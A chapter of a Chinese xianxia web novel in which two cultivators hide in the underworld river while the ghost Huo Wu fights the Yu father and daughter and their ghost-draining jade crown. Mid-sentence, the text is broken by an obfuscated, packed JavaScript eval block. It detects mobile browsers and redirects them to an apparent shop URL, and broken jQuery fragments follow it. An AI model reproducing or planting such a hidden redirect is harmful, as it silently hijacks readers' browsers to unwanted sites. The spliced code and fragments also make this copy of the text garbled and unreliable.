53.无垢玄铁(十五)
作品:《就你有师兄?》 叮叮当当——
刹那间,水中的锁链顺着陡然湍急的水流如水草般摇曳不止,扣环拉扯碰撞,发出不容忽视的叮当声。
容星阑隐在锁链后,以为玉瑶光有所察觉,当即指间凝符。却在此时,身后骤然生出一卷漩涡,如游龙般直直掠过她的耳朵,直袭玉映尘而去。
来人身影极其迅速,似乎全然不受冥河水的影响,脚踝上的断链如鱼尾般拖出一条水线。
是霍无!
腕上的系带紧了紧,她朝陈辞看去,陈辞指了指身旁锁链上拴着的浮尸,容星阑顺势抬头。
那是一具年轻的女尸,身着扶苍山外门弟子的仙袍,袍上鞭痕遍布。她本有着一双柔长的眼,初看与活人无异,此时那双眼竟只剩白瞳,在冥河水中白的格外瘆人。
那只女尸极缓极缓地动了动,瞬息之间,水下血红色的煞气陡增,容星阑将陈辞一拉,游向煞气侵蚀范围之外,贴耳道:“霍无的怨气激发了她的怨气,她正在化为怨鬼。”
便是前世,她亦不轻易止煞,中断野鬼生怨。世间修者虽将怨鬼称为大祟,见之必除,怨鬼成型之后,亦很难保持理智,逐渐沦为只知屠戮的怪物。但若不是生前遭受了极大的恶,又何必怀着仇恨不入轮回,冒着魂飞魄散的风险,也要成为怨鬼,只为一丝复仇的机会?
更遑论眼前霍无势单力薄,场面自然是越乱越好。
那头霍无已然与玉氏父女二人打斗起来,掀起水波万千,锁链在水中手水流波及而剧烈地晃动,容星阑扫眼看去,竟有不少浮尸被唤醒怨念,生出怨气。
只几息的功夫,女尸已然化为怨鬼,周身煞气凌人,转头锁定正在和霍无打斗的玉瑶光,怒喝一声,发丝冲冠,速度惊人,就要朝着玉瑶光袭去。
然而冲至一半,才发觉双脚为锁灵链束缚,当即愈发盛怒,不住挣扎,祭出一道阴煞之气向锁灵链攻去。岂料阴煞之气在靠近锁灵链的刹那,瞬间没入链中,只荡起微弱的水波阵阵。
女尸怔了一怔,似乎知晓自己难以挣脱,又哀又怒,仰天鬼啸。
容星阑拉着陈辞躲在一条安静的锁链后,看得直皱眉头,将目光转向与玉氏父女对战的霍无。
玉瑶光原本祭出的是一只幻影镯,幻化出无数道她和玉映尘的身影,本想混淆霍无的视线,不曾想他不以视觉辨人,一道煞气挥过,玉瑶光不得不又祭出其他法器挡住煞气,幻影瞬间破碎。
眼见幻影镯裂开,她又甩出一道缚网,那网朝着霍无盖下,本就一支伞面的大小,盖下时越变越大,盖到霍无头顶时,竟已有三丈宽。
霍无丝毫不躲,任由缚网罩下,握拳怒吼,煞气自他身上向四周荡去,激起一圈又一圈的水涡。
谁知那缚网触到他的身上,竟没有真正的网线,就这样穿行过去,落到他的脚底,网线交织,扭结处化为子,道竟成了一道阵法!
陈辞:“是千阵网。”
容星阑亦长了见识,她从前只知阵法刻画与设置极难,却不知还能提前设好,结合法器使用。难怪三大仙山最为富庶的是扶苍山,这样的法器在对战时使出来,简直就是降维打击,只怕在整个九州都是有价无市的存在。
阵法一成,霍无脚底如触烈火,瞬间烤焦一片,煞气胡乱打出,似一只困入牢笼的困兽。
玉映尘立在边上怡然旁观,如观戏法。
陈辞冷声道:“是佛家的阵法。”
‘雷水符,解,破局!’
容星阑不言,指间弹出一道雷水符。此符专用于从阵外破坏阵法,符印粘到阵法底部,阵法如纸被烫出一个大洞,瞬间破开。
正巧霍无为阵法中的佛印所烧,愤而踏地,煞气不消反增,看起来就像是煞气蚀毁网线,千道阵法只用了一一道就被毁坏,玉瑶光姣好的面容骤然一沉。
只沉了一瞬,随即邪戾一笑,面上却丝毫不见恐慌与焦急,似乎一切尽在掌握之中,全然没有在人前梨花欲泣的模样。
她一面祭出一只白玉女冠,一面道:“早知今夜你要来,我就不必演那样一出戏了,本想捉了你送给爹爹,但既然你如此不识抬举,那我也只好让你神魂俱灭。”
看到出现在她掌心的白玉女冠,容星阑不由大惊,此冠以观音玉炼制而成,冠身玉白无暇,称作长生冠。
此冠虽名为长生冠,却实在是对付鬼类的无上神器。上一世,她唯一亲眼见过并亲自领教的神器就是长生冠。此冠便是她,也狠狠吃了些苦头,险些神魂俱碎,若不是茶心赶到及时,连她也败落在了长生冠下。
长生冠除祟之法极为简单,它会自动锁定鬼物,飞到鬼物头上,严丝合缝地像戴上了一顶量身定制的玉冠。一旦戴上,除了活人,自己和其他鬼物无法取下。戴在头上后,源源不断汲取鬼物体内的阴气和煞气,直至再无可汲,便会自动脱落。
此冠胜就胜在未领教之人无甚防备,易被‘戴上’。以及鬼物无法取下,而人与鬼势不两立,只要戴上,几乎就是等死。
果然,长生冠一出,霍无呆愣片刻,似是不知此物有何攻击性,又意欲何为。但玉瑶光之物,对他而言必然不会是善物,故而他虽不算警惕,亦挥出一道煞气,劈向长生冠。
长生冠受煞气一击,不稳地晃了晃,仍是朝着霍无飘去,霍无似有些疑惑,再度一愣,蓄出一道煞气攻去。但见那长生冠速度激增,竟转了个大弯,直直朝着隐在锁链后的容星阑飞来!
便在此时,一直观战的玉映尘反应极快,朝着他们所在的方向瞬间排出一掌,道:“瑶光,速战速决!”
霍无见长生冠在他面前转了个身,当即凝出一道又凌又厉的剑光似的煞气,玉瑶光拔出钗环一甩,钗环变作两只旋刀,和煞气一击,冥河水中再次掀起惊涛骇浪。
玉映尘朝他们游了过来,长生冠已然已在眼前,情急之下,容星阑拉着陈辞游到那具女尸身后,长生冠紧追不舍,将要落在容星阑发上,她将那具狂躁不安的女尸一拉,女尸瞬间到了她原先的位置,自己则如鱼一般轻松地游潜到铁链下方。
长生冠戴在了女尸头上。
果不其然,玉映尘见了女尸,松气道:“我道是谁,原来是你。”
另一边玉瑶光接连失了法器,本就不是霍无的对手,此时钗环又破,当即盛怒,大叫道:“贱人!死了都不安生,当时就该扒光你夫人的鳞片,看你现在还敢不敢这么嚣张!”
此话一出,霍无动作一顿,似乎又回忆起了什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204379|193063||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么,面容悲戚,半只黑窟窿流出一行乌红的血泪,爪间带了煞风,疯也似地接连甩到玉瑶光身上、脸上。
连道煞气攻击之下,终有一道在她脸上留下一道冒着黑气的血痕,玉瑶光怒而惊,召唤道:“长生冠!”
长生冠已吸了女尸大半阴气,此时被主人一唤,脱离女尸发间,迅速回到玉瑶光掌心,玉瑶光狞笑道:“霍无,你再厉害又如何?生前就打不过我,死后化作厉鬼,难道就能替自己、替你妻儿复仇?做你的青天白梦罢,你生生死死,做人做鬼,都只是扶苍山一条拴着的狗!”
长生冠受令朝着霍无顶上飞去,容星阑面色微变,指间凝符,还未弹出,便觉头上锁链一松,不由仰头,看清上方之景。
只见玉映尘仍是一副和蔼亲切的君子模样,他的手却化作一只由兵器制成的利爪,利爪如插在泥上一般轻而易举插入女尸身体。
女尸的鬼身疾速腐败,阴气肉眼可见地流失,只剩一具白骨。容星阑瞠目大惊,却见玉映尘餍足地收回利爪,竟又变回一只白嫩干净的常人般的手,道:“可惜,这么早就熟了,味道还不够醇正。”
白骨被水流冲击,四下飘散。
而长生冠与霍无头顶几乎只差几寸的距离,容星阑不假思索地弹出两道阴符。
‘坤符,封闭,镇压!’
‘地水师符,藏兵于物,收!’
两道符一出,即刻又弹出一符。
‘山水蒙符,拟水为幻,蔽!’
霍无陡然消失,长生冠一停,下方幻像骤生,‘霍无’再次出现,它似乎有些犹疑,片刻转向距离最近的其他鬼物。然而在它转向其他鬼物的瞬间,‘霍无’瞬间化为一堆白骨,与方才的女尸无异。
在玉瑶光眼里,霍无只隐现了不足一瞬的功夫,她丝毫没有察觉此霍无早已非彼霍无,只当长生冠将他彻彻底底吸了个干净,这才心满意足地冷哼道:“狗东西。”
她叫长生冠:“回来!”
长生冠乖巧地收回她的掌心,消失不见。
此时玉映尘也踏游归来,玉瑶光见了他,邀功道:“爹爹,总算将那霍无拿下了。可惜没能活捉他,否则还可供给爹爹吸食。”
容星阑和陈辞隐在他们下方的锁链后,心中皆是一片恶寒。原先容星阑听闻她说什么‘捉拿霍无送给爹爹当礼物’,只当是献上霍无博其一笑,只是变态父女间的情趣罢了。没想到这礼物是用于给玉映尘吸食。
她回想起方才玉映尘吸食女尸的情景,此等邪门的功法,可她却没有从他身上看出一丝阴邪之气。只要是杀了人,沾染了恶的因果,人的身上没有完全干净的气,可是那玉映尘,周身的气场至纯至善,一丝煞也无。
她小声问:“现下玉映尘修为几何?”
陈辞声音微弱:“半步大乘。”
容星阑皱了皱眉,三大仙山长老,玉映成居然是修为最高的。
转头还想问些什么,却见陈辞身上的灵气时隐时现,陈辞面色如常,只是握在她掌心的手越来越冷。
容星阑心下一惊,远远地在冥河上空凝出一道巽符,符坠至虚空,落到她手中,她将符印拍至陈辞体内,怀里揣着藏了霍无的符,道:“先上去。”

